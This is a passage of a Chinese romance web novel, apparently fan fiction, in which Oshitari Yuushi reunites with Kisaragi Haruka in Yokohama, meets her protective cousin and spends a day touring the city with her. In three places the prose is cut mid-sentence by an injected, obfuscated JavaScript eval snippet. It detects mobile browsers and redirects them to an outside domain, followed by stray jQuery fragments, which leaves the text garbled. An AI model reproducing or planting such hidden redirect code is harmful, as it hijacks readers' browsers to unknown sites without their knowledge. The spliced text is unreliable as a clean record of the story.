她就那样安静地坐着,如同庭院里一尊最精美也最疏离的玉雕,目光平静地朝他望来。 十天的煎熬,十天的寻找,十天的惶恐不安…… 在真正看到她出现在眼前的这一刻,所有翻江倒海的情绪都化作了喉头难以言喻的哽塞。 脚步钉在了原地。 喉结滚动,他试图找回自己的声音,却只发出一声干涩而紧绷的低唤。 “大小姐……” 如月遥放下手中的茶杯,瓷器与木质矮几相碰,发出清脆的轻响。 他明显消瘦了许多,原本清俊的轮廓此刻显得有些嶙峋,眼下淡淡的青影,眼里布满了疲惫的血丝。 她蹙了蹙眉,“怎么了?” “谁欺负你了?” 仿佛在审视一个受了委屈跑来告状的孩子:“都找到横滨来,要我替你撑腰了?” 这话语里带着她特有的锋芒,却像羽毛触动了忍足心底最脆弱也最柔软的地方。 站在廊下,冷雨将他浇得透湿。 墨蓝色的发丝湿漉漉地贴在额前,不断有水珠顺着发梢滚落,划过他瘦削了许多的脸颊线条,滴落在地板上,洇开一小片深色。 眼镜也蒙着薄薄的水雾,镜片后那双眼眸,如同被雨水洗过的深海,翻涌着压抑了十天的情绪。 思念、委屈、惶恐、自责……还有那几乎要冲破胸膛的思念。 听着她带着调侃的话语,那句“要我替你撑腰了?”像是一把钥匙,拧开了他苦苦压抑的情感闸门。 “对不起……” 声音带着浓重的鼻音,像是绷紧到极致的弦终于发出了哀鸣。 不想再说任何辩解的话了,言语在此刻显得无力。 他只想靠近她。 只想确认她真实的存在,驱散这十天来如同跗骨之蛆般的恐慌。 几乎是凭着本能,向前张开手臂,迫切地想要将这个在他心头盘踞了无数个日夜的人拥入怀中,只有真实的触感才能填满他心底的空洞。 如月遥的反应更快。 在他靠近时,纤细却带着力量的手掌已然抬起,精准地撑在了他湿透的胸膛上,隔开了他试图贴近的身体。 “你干嘛?”她的眼眸瞪圆,带着一丝惊诧。 掌心下湿冷的触感让她眉头紧锁,扫过他明显憔悴的脸色,声音拔高了几分。 “浑身都湿透了,头发还在滴水。” “又想生病是不是?” 与其说是斥责,不如说是裹着冰碴的关心,砸在忍足心上。 掌心抵在胸前,那坚决的力道阻止了他的靠近。 忍足的身体骤然僵住,手臂悬在半空。 进也不是,退也不是。 但在听到她话里那藏不住的关切时,所有的委屈瞬间化作柔软。 他的心尖狠狠一颤。 “对不起,”垂下眼帘,声音沙哑得厉害,“我失礼了。” 悬着的手臂终究还是颓然垂落,指尖不受控制地颤抖。 如月遥看着他这副失魂落魄、仿佛被全世界抛弃的样子,心头莫名地泛起烦躁。 抿了抿唇,收回撑在他胸前的手,指尖还残留着衣料冰冷的湿意和胸膛下过快的心跳震动。 有些不自然地移开视线,声音是惯常的平淡,“你先去换身衣服。” “把头发擦干。” “然后……” 话音未落。 忍足那双原本黯淡下去的眼,在捕捉到她一丝松动的片刻,骤然迸发出光芒。 所有的理智、矜持、顾虑……轰然倒塌。 根本没有听清她后面的话,就在她收回手、视线移开的千分之一秒空隙里,忍足如同猎豹般再次欺身而上。 这一次,他没有再给如月遥任何反应和拒绝的机会。 结实有力的双臂带着不容抗拒的力道将她的身体揽入怀中,紧紧地、死死地箍住,仿佛要将她揉进自己的骨血里。 透过湿冷的衣物,是他滚烫的情感。 “你——” 如月遥猝不及防。 整个人被一股湿冷又灼热的气息完全笼罩,雨水浸透的外套紧贴着她单薄的衣服,寒气侵袭。 更过分的是将湿漉漉的头发蹭在她的颈侧,冰冷的雨水和温热的呼吸交织,带来一阵令人战栗的触感。 这个过分的家伙! 得寸进尺! 蹬鼻子上脸! 怒火冲上头顶,几乎是立刻曲起手臂,准备狠狠掰开他禁锢的手臂。 然而,就在指尖即将碰到他时,男人埋首在她颈窝的动作,和他随之响起的声音,让她所有的动作和怒火都僵在了原地。 忍足将脸深深埋进她温热的颈窝,灼热急促的呼吸喷洒在她敏感的皮肤上,带来细微的酥麻。 低沉沙哑的嗓音,是近乎破碎的祈求。 一遍又一遍地如同最虔诚的祷告般,在她耳畔响起,声音哽咽,压抑着委屈和惶恐: “对不起……对不起……” “别不理我……” “…打我骂我都行……别不理我……” 像一把淬了火的钝刀,凿开了她坚硬冰冷的心防。 抬起的手卸去了所有的力道,悬在半空。 被冰封已久的心脏,像是被这话语和怀抱狠狠烫了一下,剧烈地收缩着,陌生的酸胀感。 鬼使神差。 那只原本要推开他的手,竟最终轻轻地落在了他被雨水浸透的背上。 无声的安抚。 “怎么了?” 她的声音闷闷地从他怀中传出,是连她自己都未曾想到的软糯温和。 指尖无意识地揪紧了他后背的衣料,近乎笨拙却无比认真的安抚他,像是哄着一个迷路的孩子。 “这么委屈……谁欺负你了?” “你说,我帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526673|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你教训他……” 感受着后背那只带着安抚意味的手,听着她纵容的温和语调,他再也说不出一个字。 只是更加用力地收紧手臂,将她更深地嵌入怀中,贪婪地汲取着她身上的温暖,感受着那份真实的让他魂牵梦绕的体温。 十天。 整整十天的漂泊无依。 这颗悬在万丈深渊之上、惶恐不安的心…… 终于踏踏实实地……落回了属于它的地方。 稳稳地,落在了她的怀里。 双臂如同最固执的藤蔓,将如月遥牢牢锁在怀中。 湿冷的衣料紧贴着她,传递着失而复得后不肯放手的执拗。 他就这样抱着她,下巴抵在她柔软的发顶,“论坛的事……对不起……” 艰难开口,这是横亘在他心头十天的巨石。 如月遥被他抱得有些喘不过气,闻言却是一顿,挣扎了一下想抬头看他,却被他更用力地按了回去。 “论坛?” 声音从他怀里传出来,带着一丝困惑,“和你有什么关系?” 忍足身体微僵,他以为她在说反话,是还在生气他隐瞒。 “我……我没有主动告诉你那些帖子……” “是我不好,挑战了你的底线……” “底线?” 声音提高了一点,哭笑不得,终于成功从他怀里抬起头。 “那些帖子又不是你写的,评论里也没有你,他们聊得热火朝天,跟你有什么关系?” 看着他错愕的脸,她理所当然:“再说了,我向来不关心这些无聊的东西。就算你告诉我了,我也不会去看论坛。” “说不说,很重要吗?” 忍足彻底愣住,震惊和委屈更加汹涌。 原来她根本不在意论坛的事? 那这十天…… “那……” 他像个被冤枉的孩子,控诉着说,“那你为什么不理我?” “发信息你不回,打电话你也不接……我以为……” 喉头哽住,后面的话说不下去了。 如月遥秀气的眉头蹙起,“手机?” “忘在东京了,没带回横滨。” 她理所当然地仰着脸看他,“我让孟远转告你了啊,有事联系我另一个手机号。他没跟你说?” 忍足侑士只觉得脑子里有什么东西炸开了。 孟远。 如同最锐利的针,刺破了他心头积压的所有阴霾。 原来是这样。 她没有生他的气。 没有不理他。 只是手机忘带了。 只是……孟远那个混蛋! 从中作梗! 截断了他所有的消息! 失而复得的喜悦比第一次拥有时更加浓烈,像是从最深的海底被抛上了云端。 所有的委屈、惶恐、不安,在这一刻都化作了极致的、想要宣泄的欢喜。 低头看着怀中那张近在咫尺的脸庞,她眼里还带着点被他抱得太紧的不耐烦和未散的疑惑。 理智在喜悦冲击下荡然无存。 遵从了最本能的冲动,低下头。 滚烫而轻柔的吻,落在了她光洁饱满的额头上。 时间仿佛凝固了。 如月遥只觉得额头被一片柔软而灼热的东西轻轻触碰了一下。 大脑一片空白。 紧接着—— 羞恼的怒火如同火山爆发般直冲头顶。 “忍!足!侑!士——!!!” 几乎要掀翻屋顶的怒吼在寂静的廊下炸响。 如月遥的俏脸涨得通红,眼里燃烧着熊熊怒火,几乎要喷出火来。 抬起手,目标精准,毫不留情地掐在了他腰间最脆弱的那块软肉上。 “嗷——!!!” 瞬间从狂喜的云端跌入了剧痛的深渊,惨叫凄厉,饱含着生理性的疼痛和猝不及防的惊恐。 触电般猛地松开手,捂着被掐得剧痛的腰侧,痛得龇牙咧嘴,眼泪差点飙出来。 “你好大的胆子!!!” 如月遥气得浑身发抖,指着他的鼻子,指尖都在颤,“谁准你……谁准你……” 那个“亲”字她实在羞于出口,只能化作更加愤怒的瞪视。 “我错了!我真的错了!一时冲动!鬼迷心窍!!” 哪里还敢停留?求生欲爆棚。 一边捂着腰倒吸冷气,一边连滚带爬地朝着刚指给他换衣服的方向狼狈逃窜。 动作快得带起一阵风,深怕慢了一步就要被大小姐的铁拳当场制裁。 “滚去换衣服!!” 怒吼追着他狼狈的背影。 “是!是!马上去!” 忍足的声音带着抑制不住的笑意,消失在走廊拐角。 廊下恢复了安静,只有雨水敲打屋檐的滴答声。 如月遥站在原地,胸口剧烈起伏着,脸颊上的红晕久久未退。 指尖拂过刚才被他亲吻过的额头,那里似乎还残留着一丝灼热的触感。 “混蛋……” 低低地骂了一句,声音却没了刚才的冲天怒火,反而带上了一丝连她自己都未曾察觉的微妙。 看着庭院里在细雨中愈发红艳的枫叶,抿了一口茶,试图压下心头那点陌生的悸动和脸上残留的热度。 大混蛋。 72.第 72 章 忍足换上了干净舒适的家居服,终于摆脱了方才的狼狈。 回到廊下时,如月遥恢复了之前的姿态,坐在藤椅里,膝盖上盖着一条羊毛毯,面对着庭院里愈发细密的雨幕。 忍足自然地在她旁边坐下,接过她手中已经喝空的茶杯,拿起旁边温在暖炉上的陶壶,重新为她斟满。 热茶注入杯中的声音在安静时格外清晰。 她的目光依旧落在被雨水冲刷得愈发红艳的枫叶上,带着点残余的不虞,开始翻旧账: “下次……” 她顿了顿强调道,“没有下次!不准再仗着自己长得高,把我闷得要命。” 显然对刚才被紧紧箍在怀里的窒息感耿耿于怀。 忍足将斟满的茶杯放回她手边的矮几上,带着点哄人的意味:“好,记住了。” “下次一定松开点,绝对不闷着你。” 他刻意加重了“下次”。 如月遥立刻横了他一眼,“没有下次!” 她微微扬起下巴,维持着高傲的姿态,试图用气势压垮对方,同时也努力忽略额头上那个仿佛还残余着灼热温度的吻痕。 “说正事,”她强行拉回话题,掩饰不自在,“你跑来横滨做什么?” “我联系不上你。” 简单直接,控诉。 “整整十天。” 如月遥掩饰性地抿了一口茶,算是承认了失联的事实。 “孟君没有转达你的嘱咐。” 显然是关于另一个手机号的事。 “知道了。” “我会收拾他的。” 廊下短暂地安静下来。 过了一会儿,忍足侧过头,专注而深邃地凝视着她。 声音很轻却清晰地穿透了雨幕,虔诚又直白。 “我很想你。” “噗——咳咳咳!!!” 刚入口的茶水瞬间呛了出来,她猛地侧过身咳嗽起来,白皙的脸颊涨得通红,茶水甚至溅湿了膝头的羊毛毯。 忍足吓了一跳,一手轻拍后背帮她顺气,一手递上纸巾,语气里却有笑意:“小心点……” 好不容易止住咳嗽,如月遥抬起眼,那双因为呛咳而蒙上了生理性水汽的眼眸,此刻正带着羞愤交加的怒意,恶狠狠地瞪着忍足。 你绝对是故意的。 看着她这副难得一见的生动模样,心里的柔软几乎要溢出来。 深知点到即止的道理,他收敛了促狭,换上无比真诚的表情回望着她。 “你想我吗?” 如月遥被他这直球打得措手不及。 脸颊上的红晕还未褪去,又被新的热度覆盖。 几乎是有些慌乱地将手中的茶杯用力塞到忍足手里,恼羞成怒。 “谁……谁有空想你!”避开他灼人的视线,只留给他一个绷得紧紧、故作高傲的侧脸。 声音努力拔高以掩盖不自然:“本小姐忙得很!” 看着她这副口是心非、强装镇定却连耳根都红透的模样,笑意终于彻底弥漫开,如同阳光穿透了连日阴雨。 他的试探已经有了明确的答案。 大小姐是想他的。 心满意足地啜饮了她塞进他手中的杯子里的茶水。 “孟远没告诉你,那你怎么知道我在横滨?” 忍足唇角勾起神秘莫测的弧度:“用了点小手段。” 他故意卖了个关子。 如月遥斜睨着他,挑了挑眉,“呵。” 轻哼一声,懒得追问。 这男人……心机深沉得很。 雨似乎更大了。 敲打着屋檐和庭院里的鹅卵石,发出连绵不绝的声响。 秋风穿过半开的纸门,卷着潮湿的雨气吹进廊下。 如月遥下意识地裹紧了膝上的羊毛毯,然而下一秒,她像是想起了什么,瞥了一眼旁边穿着家居服的忍足。 虽然换了干衣服,但刚从冷雨里进来,又吹了会儿风…… 抿了抿唇,伸出手。 将自己膝上宽大柔软的羊毛毯一角,带着点不情不愿的意味,轻轻扯了过去,覆盖在了忍足的膝盖上。 温暖的毯子带着她身上的体温,包裹住了忍足。 这份别扭的温暖像是最温热的水流,彻底浸润了他的心。 再次靠近她耳边,如同耳语般的温柔,将那句此刻盈满胸腔的话,又一次深刻地送进她的耳中: “我很想你。” “我真的很想你。” 笃定的陈述。 晚餐时分 二人相对而坐,餐具碰撞发出清脆的细微声响,伴随着窗外越发密集的雨声。 忍足纠结了一下,“是否需要拜见一下府上的长辈?” 如月遥抬眸:“大伯最近去美国处理些事情了。” “至于如月辉……” 似乎觉得直呼大哥名讳有些不太给他面子,她改口道:“我哥他今天有重要的事务,会晚些回来。” “明天再见他吧。” “明白了。” 如月遥早已安排下去,他的车停进了车库,外面风雨交加,今夜留宿此地已成定局。 忍足欣然接受。 就在忍足刚把一块玉子烧放进如月遥碗里时,一阵沉重而急促的脚步声由远及近,带着风雨夜归人的气息,打破了餐厅的宁静。 一个身材极其高大魁梧、穿着笔挺深色西装的男人出现在了餐厅门口。 浓眉如刀,眼神如鹰,周身散发着不怒自威的压迫感。 正是如月遥的堂哥,如月辉。 如月遥眼中闪过一丝惊讶,放下筷子:“怎么这么早就回来了?事情办完了?” 如月辉那双刀子般的视线却没有第一时间落在妹妹身上,而是如同雷达般锁定了妹妹对面那个陌生的年轻男人。 一个他不认识的男人。 在这个本该只有家人的晚餐时间,出现在他妹妹对面。 姿态还如此……熟稔? 护犊子般的警觉在如月辉心中拉响最高级别的警报。 “他是谁?” 如月辉的声音低沉浑厚,毫不掩饰的不悦。 “朋友。” 简单的两个字,算是介绍。 “朋友?” 如月辉浓眉一挑,带着点痞气和试探,“男朋友?” 忍足的心脏一跳,握着筷子的指尖收紧。 他强作镇定,眼观鼻鼻观心,心底却有个小人在疯狂点头: 是!是!是男朋友最好!!! 如月遥面无表情地看着自家大哥,斩钉截铁地吐出四个字:“男性朋友。” 如月辉像是故意找茬,或者说耳朵选择性失聪,他掏了掏耳朵,音量拔高,带着点夸张的疑惑:“性朋友?” “啪!” 如月遥忍无可忍,筷子重重拍在桌面上。 “耳朵不好使就立刻去医院!别在这里胡说八道!” 空气凝固,连窗外的雨声都小了几分。 就在这剑拔弩张、兄妹大战一触即发的时刻,忍足压下尴尬,脸上迅速挂起无可挑剔的、温和有礼的职业化微笑。 对着脸色不善的如月辉微微躬身,姿态放得极低,声音清晰沉稳,带着关西地区特有的腔调:“如月先生您好。初次见面,失礼了。” “我是忍足侑士,东京大学医学部学生,是如月小姐的大学同学。” 他巧妙地用了“同学”这个最中性、最安全的身份定位,避开了所有敏感词。 心底的小人却在默默补充:男朋友最好,性朋友…也行吧…… 如月辉听到“忍足”这个姓氏时,那双锐利的眸子眯了一下,再听到熟悉的关西腔,眉头更是微微一动。 关西医学世家的忍足? 这个认知让他原本汹涌的敌意和戒备稍稍退散了一些。 再次打量了几眼,对方挺拔的身姿、沉稳的气度、无可挑剔的礼仪,以及那张确实很有迷惑性的帅脸,都让他挑不出明显的毛病。 “哼。”从鼻孔里哼了一声,算是回应。 没再继续刚才那个危险的话题,迈着大步带着强大的气场,径直走到长桌的主位。 拉开椅子,重重地坐了下去。 “那就……”他拿起女仆适时奉上的热毛巾擦了擦手,声音依旧低沉,却没了刚才的剑拔弩张,“一起用饭吧。” 餐厅里紧绷的气氛骤然一松。 气氛依旧有些微妙,但至少表面平静了下来。 然而,如月辉并没有闲着。 他表面上在吃饭,眼角的余光却如同最精密的扫描仪,一刻不停地观察着忍足侑士和自己妹妹之间的互动。 他看着忍足拿起公筷,精准无误地将桌上那碟离如月遥稍远的、她最喜欢炙烤和牛夹了一筷子,放进她面前的碗里。 他看着如月遥刚放下汤碗,忍足便立刻递上干净温热的湿巾,动作流畅而熟稔。 他看着如月遥的味噌汤喝到一半,忍足便起身为她重新添满,放回她手边,温度恰好入口。 每一个动作都无比自然,每一个细节都透着一种深入骨髓的了解。 这绝不是普通同学之间的互动,如月辉越看眉头皱得越紧,心头那把名为“妹控”的火焰就烧得越旺。 这小子…… 他嚼着米饭,眼神如同刀子般刮过那张专注又温柔的脸。 这熟练的程度…… 这殷勤的姿态…… 这眼神里藏都藏不住的…… 这家伙!绝对! 是! 来!! 拱!! 他!!! 家!!! 的!!! 白!!! 菜!!! 啊!!!! 如月辉觉得嘴里的米饭索然无味,甚至有点硌牙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531256|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如月辉带着主人翁式的强势:“忍足同学难得来横滨。” 他声音洪亮,试图掌控局面,“我们如月家自然要尽地主之谊。” “明天,我亲自带你好好逛逛横滨。” 他特意加重了“亲自”两个字,眼底深处闪过一丝不怀好意的算计。 他已经在盘算着找几个五大三粗、最好脸上带疤、满身煞气的得力下属,明天全程“陪同”,好好吓唬吓唬这个看起来斯文优雅、细皮嫩肉的关西贵公子,让他知难而退。 话音刚落。 如月遥的声音响起,“明天我带他逛逛。” “嗯?!” 如月辉瞳孔地震,扭头看向自家妹妹。 无声的控诉: 妹妹! 我带他去才能达到“特殊招待”的效果啊! 你带去那还有什么威慑力? 这小白脸还不得乐开花! “嗯?” 忍足也抬起头,难以置信的看着如月。 大小姐主动提出带他逛横滨? 这可是破天荒的头一遭。 之前的京都、奈良、江之岛……哪次不是他软磨硬泡、费尽心机? 幸福来得太突然。 两个男人,一个如遭雷击,满面错愕和不甘;一个如同中奖,喜形于色又强自压抑。 表情形成了极其鲜明的对比。 只有风暴中心的如月遥,依旧八风不动,低头默默吃着餐后果盘里的蜜瓜。 用过晚餐,如月遥起身:“跟我来。” 忍足立刻乖巧地跟上。 穿过幽静的回廊,空气中弥漫着老宅特有的、木材和线香混合的沉静气息。 走到一间布置典雅的和室门前,如月遥停下脚步。 “客房。” 忍足站在门口,看着里面暖黄的灯光和整洁的陈设,心头涌起一股暖流。 面对着正要离开的如月遥,他拿出自己的手机,点开通讯录的界面,递到她面前: “大小姐,请务必添加一下联络方式。” “别再忘了带手机。” “不能和我失联。” 他指的是那个被遗忘在东京、导致他失联十天的罪魁祸首。 如月遥瞥了他一眼,拿过他的手机。快速点按了几下,将自己的私人号码存了进去,名称简单:【如月遥】。 她把手机递还回去,淡淡道:“知道了。” “大小姐准备在横滨待几天?” “看安排。怎么了?你有事要回去?” “没有,我都行,待几天都行,听你的安排。” “医学部的课题和实习结束了?” “嗯,关键的节点都过了,短期内没有太紧急的事情,可以请几天假。” “知道了。” 转身离开,丢下一句:“早点休息。” 忍足目送着她的身影消失在走廊尽头的拐角,直到再也看不见,才拉开纸拉门,走了进去。 房间是传统的日式风格,简洁雅致。 榻榻米散发着淡淡的草香,矮几上摆放着新鲜的插花和一碟精致的和菓子。 暖黄的灯光营造出温馨宁静的氛围。 在看到墙边那个几乎占据了一整面墙的古朴衣橱时,顿住了。 衣橱里整齐悬挂着一排崭新的、熨烫得笔挺的男装。 从剪裁精良、面料考究的羊绒大衣、西装,到舒适的针织衫、休闲裤,再到设计简约却质感上乘的衬衫、T恤。 颜色以沉稳的灰、黑、深蓝为主,简约大气,处处透着低调的奢华。 不仅如此,拉开下面的抽屉。 崭新的内衣、袜子,分门别类,叠放得整整齐齐,材质柔软舒适。 从外套到内裤,从头到脚,全套装备,崭新。齐全。精准。 这霸道总裁式的包养…… 果然还是大小姐的风格啊。 忍不住低低地笑了起来,对着那满满当当的衣橱,拍了一张照,然后点开那个刚刚添加的【如月遥】,将照片发了过去。 【感谢大小姐慷慨‘包养’,全方位,无死角。】 没过多久,手机屏幕亮起。 新信息内容简短,带着她一贯的、居高临下的命令感: 【你听话就行。】 几乎能想象出她打出这句话时,那副理所当然的样子。 整个人放松地向后倒进了柔软蓬松、散发着阳光气息的被褥里。 温暖。舒适。 鼻尖萦绕着老宅特有的、沉静的木质香气,还有一丝若有若无的、仿佛从她身上沾染过来的雪松冷香。 闭上眼,深深地吸了一口气。 终于。 他和她。 又一次。 在同一个屋檐下了。 窗外的雨声,似乎也变成了最温柔的安眠曲。 73.第 73 章 晨光熹微,雨后的空气格外清冽。 忍足站在如月家气派的大门外,车泊在湿漉漉的路上,反射着柔和的晨光。 如月遥的身影出现。 她今天穿了一件剪裁极其利落的Vivienne Westwood长款风衣,腰带松松系着,勾勒出纤细的腰身,下摆随着步伐优雅摆动,衬得她气质愈发清冷矜贵。 线条简洁的黑色手袋,低调奢华,上面光溜溜的,没有任何毛绒挂件。 目光在她身上流连片刻,落在包上时,眼眸里掠过笑意,绅士地为她拉开车门。 如月遥坐进车里,自然地调整了一下座椅角度。 看着后视镜下方那只晶莹剔透、在晨光下折射出梦幻蓝紫色光晕的琉璃水母挂件上,它正随着车身的轻微晃动轻轻摇摆。 伸出指尖拨弄了一下,让它转了个圈。 不经意的熟稔。 忍足将这一幕尽收眼底。 柔和舒缓的旋律流淌在车厢内,转动方向盘,驶出庭院,朝着横滨著名的红砖仓库方向而去。 横滨红砖仓库 两座饱经沧桑的巨大红砖建筑并肩矗立在港口边,昔日的工业仓库如今已变身为充满文艺气息的时尚地标。 阳光照亮了充满历史感的粗粝砖墙和钢架结构。 漫步其中,从充满先锋视觉冲击力的现代艺术展,到展示横滨开港历史的珍贵文物陈列,再到汇聚了世界各地设计师巧思的手工艺品店。 如月遥偶尔驻足点评一两句,见解犀利独到。 忍足认真地听着,不时补充几句自己的看法。 话题如同溪流般自然地流淌切换。 从一幅抽象画作的色彩冲击力,聊到印象派音乐与绘画的通感;从某件古董家具的榫卯结构,引申到东西方哲学中关于“器”与“道”的思辨;从港口吹来的、带着咸味的海风,谈起存在主义的自由与孤独…… 思维的火花在交谈中碰撞交融。 忍足眼里是毫不掩饰的欣赏,能与她在这样的氛围下,分享彼此的见解,探讨深邃的问题,这种精神层面的共鸣,远比单纯的游玩更让他沉醉其中。 在一家充满复古气息、弥漫着泥土清香的陶艺工作室门前,如月遥停下了脚步。 橱窗里展示着形态各异、质朴拙趣的手工陶器。 “进去看看?”忍足适时提议。 如月遥点头。 工作室内部空间很大,摆放着几台拉胚机,空气中飘散着湿润的陶土气息。 如月遥看着那些旋转的泥胚,眼里闪过新奇和跃跃欲试的光芒。 两人在相邻的两台拉胚机前坐下,店主简单讲解了基本手法后,便退开了。 带上围裙,神情专注。 她小心翼翼地捧起一团湿润的陶泥,放在旋转的转盘中心,冰凉的陶泥在她指尖下开始缓缓变形。 试图让它立起来,塑造成一个简单的碗状。 起初似乎很顺利,陶泥在她的引导下渐渐有了雏形。 她的嘴角微微上扬,带着初尝成功的欣喜。 然而,下一秒。 或许是用力稍有不均,或许是陶泥太软,就在即将成型的瞬间,那只陶碗猛地一歪,半边如同融化的巧克力般瘫软下去,变成了一坨形状扭曲的怪异物体。 笑容僵住。 她抿着唇,盯着那摊“失败品”,仿佛它犯了什么十恶不赦的大罪。 忍足早已停下了自己的动作,全程关注着她。 看到她成功时眼底的快活,也清晰地捕捉到了她失败时升腾的怒意,以及此刻罕见的、孩子气的委屈。 在她懊恼地盯着那堆不成型的陶泥,手指无意识地收紧,几乎要把泥胚捏碎的前一秒,忍足站起身,走到了她的身后。 他高大的身影笼罩下来,带来一片温暖的阴影。 如月遥微微一怔,还没反应过来,一双温热干燥、骨节分明的大手,已经从她身体两侧伸了过来,稳稳地覆盖在了她抓着陶泥的双手之上。 医生的手,带着令人安心无比的稳定力量。 “放松……”忍足低沉而温柔的声音,如同羽毛般拂过她的耳廓,带着安抚的魔力,“别跟它较劲。” 身体瞬间绷紧。 她能清晰地感受到身后男人胸膛传来的温热体温,隔着衣物熨帖着她的后背。 温热的呼吸喷洒在敏感的耳后和颈侧,带来一阵令人战栗的酥麻感。 想挣脱,但那双手上传来的稳定力道和低沉温和的嗓音,像是有种奇异的魔力,让她僵硬的身体不由自主地放松了些许。 忍足微微躬身,下巴几乎抵着她的发顶。 宽厚的手掌包裹着她纤细的手指,带着她的指尖感受着陶泥的湿度和旋转的节奏。 “跟着我的手……”他的声音很轻,带着引导,“感受它的走向……” 缓慢而坚定,无比有耐心。 不再是强硬的掌控,而是引导着她的指尖去感受泥土的流动,感受旋转带来的离心力,感受塑造一个形态所需要的微妙力道变化。 修长的手指时而带着她的向下按压,塑形底部;时而引导着她的向上提拉,勾勒碗壁;时而在边缘轻轻打磨,让曲线更加圆润流畅。 如月遥强迫自己压下心头那陌生的悸动,将注意力集中在自己手上,感受着他指尖传递过来的每一分微妙力道和方向。 陶泥在两人手下,仿佛被注入了新的生命,变得听话起来。 圆润、饱满、线条流畅的陶碗,在旋转中渐渐成型。 整个过程,忍足的目光专注地盯着手中的陶泥和两人交叠的手指,仿佛在进行一项神圣的工作,他的胸膛成为了她最坚实的依靠。 终于,一个虽不完美但形态完整的陶碗呈现在了转盘上。 缓缓松开包裹着她的手,身体也稍稍退开了一些距离,只留下双手虚虚拢在她的手两侧,以防意外。 “好了。” 如月遥看着眼前这个由两人双手共同塑造出来的碗,带着一种奇异的成就感。 接下来是签名环节。 拿起雕刻工具,神情专注地在碗底中央,刻下了一个清隽有力的“月”字。 刻完,她将工具递给忍足,眼神示意。 忍足接过工具,嘴角噙着温柔的笑意,在她刻的“月”字旁边,刻下了一个同样清晰的“侑”字。 然后 在“月”字和“侑”字中间那片小小的空位上,他手腕微动,无比快速地刻下了一个小小的、圆润的爱心图案。 ? 动作一气呵成,快得如月遥根本来不及阻止。 如月遥:“!!!” 眼眸瞬间瞪圆,脸颊“腾”地一下烧了起来,羞恼如同火焰般直冲头顶。 抬起穿着小羊皮靴的脚,对着忍足的小腿,不轻不重地踢了一脚。 “忍足侑士。”声音带着压抑的羞愤。 挨了一脚的忍足非但没觉得痛,反而看着碗底那两个名字中间那个小小的爱心,笑得眉眼弯弯,满是得逞后的愉悦。 甚至心甘情愿地又往前凑了凑,仿佛在说“再踢一脚也行”。 “等烧好了,”他无视她的羞恼,自顾自地宣布,“我会亲自来拿。” 如月遥看着他那副“甘之如饴”的样子,再看看碗底那个刺眼的爱心,只觉得耳根的热度怎么也退不下去。 恨恨地转过身,不再看他。 只是那微微泛红的耳尖,和唇边那一丝几不可察的、被强行压下去的弧度,无声地泄露了某些难以言喻的情绪。 横滨中华街,是海外最大的华人聚集区之一。 甫一踏入,浓烈的故国气息便扑面而来。 朱红色的牌坊高耸,雕梁画栋;两侧街道鳞次栉比,挂满了各式各样的中文招牌,琳琅满目——【全聚德】、【狗不理】、【广州酒家】…… 熟悉的方块字,熟悉的乡音吆喝,混杂着各种诱人的食物香气,构成了一幅充满活力的异国风情画。 如月遥走在熙熙攘攘的人群中,米白色的风衣在色彩浓烈的街景里显得格外清雅。 “奶茶!”她脚步微顿,目光被一家挂着【正宗珍珠奶茶】招牌的小店吸引。 不等忍足反应,她已经走了过去。 “一杯原味珍珠,半糖少冰。”她对店员说完,转头看向忍足,眼神示意:你要吗? 忍足立刻摇头:“我不需要。” 如月遥点点头,接过那杯插着粗吸管、摇晃着黑色珍珠的奶茶,满足地吸了一大口,冰凉甜润的口感让她微微眯起了眼。 没走几步,又被一家古色古香的糕点铺子绊住了脚。 “桂花糕。”她指着橱窗里码放整齐、缀着金黄色桂花、散发着清甜香气的方糕。 忍足自觉地掏出钱包付钱,如月遥拿起那块晶莹软糯的桂花糕,小口咬下,清雅的桂花香在舌尖弥漫开来,她满足地轻轻“嗯”了一声。 看到前面炒货摊上饱满油亮的瓜子,她又停下了。 “老板,称一斤原味瓜子。”她吩咐道,老板麻利地装袋称重。 接过纸袋掂了掂,对忍足说:“晚上带回去嗑。” 忍足看着她难得像个孩子般兴致勃勃地尝试各种小吃,眼底的笑意如同投入石子的湖面,一圈圈荡漾开。 没有任何劝阻的意思,只是安静地跟在她身后半步,扮演着尽职的钱包、提包员和未来的“垃圾处理站”。 他很清楚,这位大小姐对美食向来是“眼大肚小”,最终吃不完的,都会落入他的腹中。 最终,在路过一家飘荡着浓郁麻辣鲜香气息的火锅店时,如月遥的脚步彻底挪不动了。 那熟悉的牛油锅底混合着花椒、辣椒的霸道香气,如同最强劲的钩子,牢牢勾住了她的味蕾。 “吃火锅。”她言简意赅地做了决定。 两个人吃火锅,点菜确实有些吃亏,品种难以铺开。 但如月遥显然不在意性价比,她只想满足这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531257|186328||http|test|mini|href|location''.split(''|''),0,{})); () { 